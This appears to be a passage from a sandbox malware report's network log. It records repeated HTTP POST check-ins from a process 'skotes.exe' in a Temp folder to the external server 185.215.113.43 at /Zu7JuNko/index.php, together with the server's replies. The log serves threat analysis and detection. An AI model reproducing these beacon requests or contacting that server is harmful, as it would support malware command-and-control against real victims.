Nov 12, 2024 04:17:43.284993887 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50141	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:44.820307970 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:45.739042044 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50142	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:47.367646933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:48.259053946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50143	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:49.772231102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:50.673825026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50144	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:52.319181919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:53.221456051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50145	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:54.740566015 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:55.637026072 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50146	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:57.276273012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:58.184426069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50147	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:59.714591026 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:00.612479925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50148	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:02.254755020 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:03.185174942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50149	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:04.699860096 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:05.604617119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50150	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:07.242116928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:08.163031101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50151	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:09.679434061 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:10.594019890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50152	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:12.228739023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:13.136816025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50153	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:14.649214983 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:15.562695026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50154	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:17.201383114 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:18.118261099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50155	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:19.634695053 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:20.563973904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50156	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:22.196518898 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50157	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:23.717133045 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:24.621148109 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50158	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:26.258645058 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:27.182195902 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50159	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:28.697138071 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:29.614099979 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50162	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:31.252445936 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:32.156204939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50163	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:33.680635929 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:34.614103079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50164	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:36.228290081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:18:37.157361984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50165	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:18:38.666922092 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:18:39.591728926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:18:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

